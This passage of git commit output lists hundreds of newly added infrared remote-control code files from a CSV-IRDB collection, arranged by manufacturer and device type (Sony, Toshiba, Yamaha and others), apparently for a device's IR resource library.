assets/resources/infrared/_CSV-IRDB_/Sony/VCR/186,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Sony/VCR/2,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Sony/VCR/25,37.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Sony/VCR/25,69.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Sony/VCR/5,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Sony/VCR/7,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Sony/VCR/9,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Sony/Video Projector/26,42.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Sony/Video Projector/84,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Speed-link/Unknown_SL-6399/0,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Starsat/Unknown_120/64,64.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Starview/Unknown_Starview/0,249.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Streamzap/Unknown_PC/35,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Sumvision/Unknown_Sumvision/0,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Sunfire/Surround Processor/184,0.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Sunfire/Surround Processor/184,1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Sunfire/Surround Processor/184,3.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Sungale/Unknown_JX-2002/0,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Supermax/Unknown_Supermax/128,38.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Supportplus/Unknown_SP-URC-LCD-F15/10,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Syabas/Unknown_A-100/4,203.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Symphonic/TV/41,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Symphonic/VCR/40,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Symphonic/VCR/44,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/TCM/Unknown_212845-CD/5,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/TCM/Unknown_218681/5,5.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/TCM/Unknown_225925/24,233.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/TCM/Unknown_225926/35,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/TCM/Unknown_96518/0,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/TCM/Unknown_TCM/176,0.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/TCUAG/Unknown_TVBOX/6,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/TEAC/DVD Player/163,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/TEAC/DVD Player/175,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/TEAC/Unknown_CD/134,97.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/TEAC/Unknown_RC-547/3,1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/TEAC/Unknown_RC-548/128,114.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/TEAC/Unknown_RC-558/130,120.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/TEAC/Unknown_RC-614/0,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/TEAC/Unknown_RC-909/34,1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/TECHNICS/Unknown_EUR643880/160,10.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/TECHNICS/Unknown_EUR64798/160,10.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/TECHNICS/Unknown_EUR64799/160,10.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/TECHNICS/Unknown_EURXP300/160,10.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/TECHNICS/Unknown_cd/160,10.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/TECHNICS/Unknown_sl-ps670a/160,10.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/TECHNISAT/Unknown_100TS035/10,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/TECHNISAT/Unknown_FBPNA35/10,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/TECHNISAT/Unknown_FBPVR335A/10,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/TECHNISAT/Unknown_ST3002S/1,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/TECHNISAT/Unknown_ST3004S/1,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/TECHNISAT/Unknown_TECHNISAT/1,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/TECHNISAT/Unknown_TTS35AI.conf/10,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/TECHNISAT/Unknown_TTS35AI/10,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/TECHNISAT/Unknown_st-6000e/131,121.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/TELEFUNKEN/AUDIO_IR3000/0,1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/TELEFUNKEN/TV_1127/7,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/TELEFUNKEN/TV_RC-1345/5,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/TELEFUNKEN/VCR_FB1550/67,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/TELEFUNKEN/VCR_RC1323-Video-B/8,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/TRIAX/Unknown_DVB/10,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Tab Electronics/Unknown_Kit/0,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Tangent/Tangent-HiFi-II_Ampster-BT_CD_Tuner/6,248.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Technosonic/Unknown_DVD-204/16,237.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Technotrend/Unknown_DVB/21,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Technotrend/Unknown_Micro/21,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Technotrend/Unknown_S2400/21,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Technotrend/Unknown_Technotrend/21,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Technotrend/Unknown_remote/21,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Teleka/Unknown_STR2060/1,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Telemann/PC HDTV Tuner Card/8,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Televes/Unknown_145075/8,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Televes/Unknown_711701/1,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Tensai/Unknown_5340fb/134,124.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Terratec/Internet Radio/4,243.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Terratec/Unknown_1400/4,235.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Terratec/Unknown_Cinergy/134,107.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Terratec/Unknown_Cinergy/20,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Terratec/Unknown_Cinergy/4,235.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Terratec/Unknown_M3PO/10,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Terratec/Unknown_home/1,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Tesla/Unknown_32LCD70WDGHD/1,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Tesla/Unknown_Tesla/11,11.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Tesla/Unknown_Tesla/5,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Tevion/Unknown_3830/1,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Tevion/Unknown_41666/131,69.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Tevion/Unknown_DFA/0,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Tevion/Unknown_DVD/67,71.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Tevion/Unknown_MD-5410/5,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Tevion/Unknown_MD/23,105.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Tevion/Unknown_MD/48,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Tevion/Unknown_MDC-982PLL/162,162.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Tevion/Unknown_RS20536/67,71.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Tevion/Unknown_SAT928/5,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Tevion/Unknown_TDR-250HD/0,159.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Tevion/Unknown_TDR51DV/0,159.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Tevion/Unknown_TE-0603/64,63.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Tevion/Unknown_TEV1020/0,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Tevion/Unknown_Tevion-MD80383/5,5.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Tevion/Unknown_Tevion-MD81035-ASAT-Code-0905/23,105.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Tevion/Unknown_TevionMd3607/7,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Theta Digital/DVD Player/163,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Theta Digital/DVD Player/175,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Theta Digital/Surround Processor/16,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Thinkgeek/Unknown_Lightbulb/64,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Thompson/Unknown_THOMPSON/133,48.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Thomson/Unknown_230/0,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Thomson/Unknown_RCS615TCLM1/5,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Thomson/Unknown_TM9258/128,255.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Thomson/Unknown_TV/7,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/TiVo/PVR/26,154.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/TiVo/TiVo/133,48.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/TiVo/Unknown_Series1/133,48.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Tivoli/Unknown_Sirius/0,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Tokai/Unknown_DVD-715/32,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Topfield/Unknown_PVR/32,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Topfield/Unknown_TF4000Fi/4,255.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Topfield/Unknown_TF4000PVR/32,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Topseed/Unknown_Topseed/4,15.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Toshiba/DVD Player/69,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Toshiba/TV/64,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Toshiba/Unknown_CT-816/64,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Toshiba/Unknown_CT-826/64,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Toshiba/Unknown_CT-832/64,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Toshiba/Unknown_CT-859/64,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Toshiba/Unknown_CT-90038/231,10.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Toshiba/Unknown_CT-90205/231,10.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Toshiba/Unknown_CT-90298/64,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Toshiba/Unknown_CT-90326/64,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Toshiba/Unknown_CT-9573/64,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Toshiba/Unknown_CT-9784/64,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Toshiba/Unknown_CT-9881/134,107.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Toshiba/Unknown_CT-9952/64,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Toshiba/Unknown_G83C0008A110/4,15.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Toshiba/Unknown_RM-614Q/5,5.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Toshiba/Unknown_SE-R0031/69,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Toshiba/Unknown_SE-R0049/69,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Toshiba/Unknown_SE-R0058/69,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Toshiba/Unknown_SE-R0127/69,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Toshiba/Unknown_TOSHIBA/64,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Toshiba/Unknown_TOSHIBA/68,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Toshiba/Unknown_TOSHTV/64,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Toshiba/Unknown_TSR-101R/66,187.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Toshiba/Unknown_Toshiba-SE-R0047/69,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Toshiba/Unknown_Toshiba-SE-R0090/69,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Toshiba/Unknown_VC-642T/68,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Toshiba/Unknown_VC-90B/68,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Toshiba/Unknown_VT-11/68,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Toshiba/Unknown_VT-204G/68,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Toshiba/Unknown_VT-209W/68,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Toshiba/Unknown_VT-75F/68,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Toshiba/Unknown_toshiba-RM-A210/42,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Toshiba/VCR/68,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Total Control/Unknown_Control/7,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Total Media In Hand/Unknown_Media/2,189.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Traxis/Unknown_3500/4,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Trust/Unknown_RC-2400/52,15.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Trutech/Unknown_TV/0,1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Turtle Beach/MP3 Player/1,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Turtle Beach/MP3 Player/1,249.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Turtlebeach/Unknown_Audiotron/1,249.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Twinhan/Unknown_AD-SP200/0,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Twinhan/Unknown_DTV/0,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Typhoon/Unknown_DTV/0,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Typhoon/Unknown_RC-0718-3/96,1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/UEC/Unknown_DVB/24,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/UPC/Unknown_SAT/39,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/US Electronics/Cable Box/0,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Ultrawave/Unknown_3500PFTA/2,2.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Umax/Unknown_D-701/0,240.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Uniden/Satellite/1,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/United/Unknown_United-DVD4057M/0,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Universal/Unknown_001/4,15.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Universal/Unknown_006/56,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Universal/Unknown_089/6,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Universal/Unknown_101/6,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Universal/Unknown_111/135,124.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Universal/Unknown_Knopex/7,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Universal/Unknown_MC-10/5,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Universal/Unknown_Powerhouse/166,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Universal/Unknown_RC/0,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Universal/Unknown_RM-V211T/2,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Universal/Unknown_RZ-55/1,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Universal/Unknown_URC-6012w/2,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Universal/Unknown_cme/7,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Universal/Unknown_lircd.conf/0,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Universal/Unknown_lircd.conf/128,123.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Universal/Unknown_lt3607-aux599/135,124.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Universal/Unknown_testrecord.config/0,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Universal/Unknown_tv/1,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Velodyne/Subwoofer/0,69.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Venturer/Unknown_STB7766G1/66,187.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Venturer/Unknown_boombox/129,129.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Vestel/Unknown_TV/0,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Video7/Unknown_Video7-RC750/32,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Vidikron/Video Projector/0,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/ViewSonic/Unknown_98TR7BD-ONT-VSF/131,241.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/ViewSonic/Unknown_RC00070P/131,241.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/ViewSonic/Unknown_vsnv6/0,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Viewmaster/Unknown_RC-03/73,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Viewsat/Unknown_SAT/32,255.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Viewsat/Unknown_VS2000/32,255.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Virgin-media/Unknown_VIRGINTIVO/10,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Visionetics/Unknown_Cable/134,107.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Vistron/Unknown_DVD-5211/0,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Vistron/Unknown_LTM-3271E/8,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Vivanco/Unknown_DVD/26,73.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Vivanco/Unknown_UR2/10,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Vivanco/Unknown_ur89/0,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Vizio/Unknown_VX37L/4,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Vizio/Unknown_Vizio/4,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/VocoPro/Karaoke/32,1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Voxson/Unknown_PT2222-1/0,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/WD/Unknown_HDTVMediaPlayerV1/132,121.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/WD/Unknown_TV/132,121.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Westinghouse/Unknown_LVM-47W1/1,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Westinghouse/Unknown_RMT/1,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Wilfa/Unknown_RVC-17/64,175.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/XMS/Unknown_XMS503/32,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/XORO/Sat/0,191.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/XORO/Unknown_DVB/1,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Xantech/Programmer/6,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Xantech/Relay Module/6,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Xlogic/Unknown_XLOGIC-KF8000D/64,63.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Xtreamer/Unknown_Xtreamer/0,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/YES/Unknown_YES/132,60.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Yakumo/Unknown_DVD/4,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Yamada/Unknown_DVX-6xxx/4,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Yamada/Unknown_PVD-500/0,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Yamaha/Amplifier/120,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Yamaha/Amplifier/122,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Yamaha/Amplifier/125,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Yamaha/Blu-Ray/124,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Yamaha/CD Changer/121,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Yamaha/CD Changer/122,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Yamaha/CD Jukebox/121,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Yamaha/CD Jukebox/122,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Yamaha/CD Player/121,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Yamaha/CD Player/122,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Yamaha/CD-R/127,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Yamaha/Cassette Tape/122,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Yamaha/Cassette Tape/127,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Yamaha/DAT/128,55.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Yamaha/DSP/120,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Yamaha/DSP/122,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Yamaha/DSP/4,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Yamaha/DSP/6,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Yamaha/DSP/80,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Yamaha/DSP/87,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Yamaha/DVD Changer/4,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Yamaha/DVD Player/124,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Yamaha/DVD Player/176,0.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Yamaha/DVD Player/4,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Yamaha/DVD Pre-amp/120,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Yamaha/DVD Pre-amp/124,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Yamaha/DVD Receiver/120,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Yamaha/DVD Receiver/124,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Yamaha/DVD/124,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Yamaha/DVD/176,0.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Yamaha/DVD/4,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Yamaha/DVR/120,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Yamaha/DVR/124,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Yamaha/DVR/71,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Yamaha/Laser Disc/124,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Yamaha/Mini System/120,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Yamaha/Music Server/128,55.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Yamaha/Plasma/80,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Yamaha/Projector/209,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Yamaha/Projector/240,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Yamaha/Receiver/0,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Yamaha/Receiver/0,0.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Yamaha/Receiver/120,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Yamaha/Receiver/121,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Yamaha/Receiver/122,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Yamaha/Receiver/124,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Yamaha/Receiver/125,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Yamaha/Receiver/126,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Yamaha/Receiver/127,1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Yamaha/Receiver/15,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Yamaha/Receiver/209,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Yamaha/Receiver/4,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Yamaha/Receiver/6,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Yamaha/Receiver/8,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Yamaha/Sound Projector/120,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Yamaha/Sound Projector/126,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Yamaha/Stereo Receiver/125,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Yamaha/Stereo Receiver/126,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Yamaha/Tuner/122,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Yamaha/Tuner/209,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Yamaha/Unknown_DVD-RC/32,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Yamaha/Unknown_DVD/69,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Yamaha/Unknown_JVCDVD/239,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Yamaha/Unknown_RAV-12/122,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Yamaha/Unknown_RAV14/122,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Yamaha/Unknown_RAV16/122,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Yamaha/Unknown_RAV207/122,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Yamaha/Unknown_RCX-750/122,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Yamaha/Unknown_RCX/122,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Yamaha/Unknown_RCX2/122,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Yamaha/Unknown_RCX660/122,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Yamaha/Unknown_RS-CD5/121,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Yamaha/Unknown_RS-CX600/122,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Yamaha/Unknown_RS-K3/127,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Yamaha/Unknown_RX-450/122,-1.ir create mode 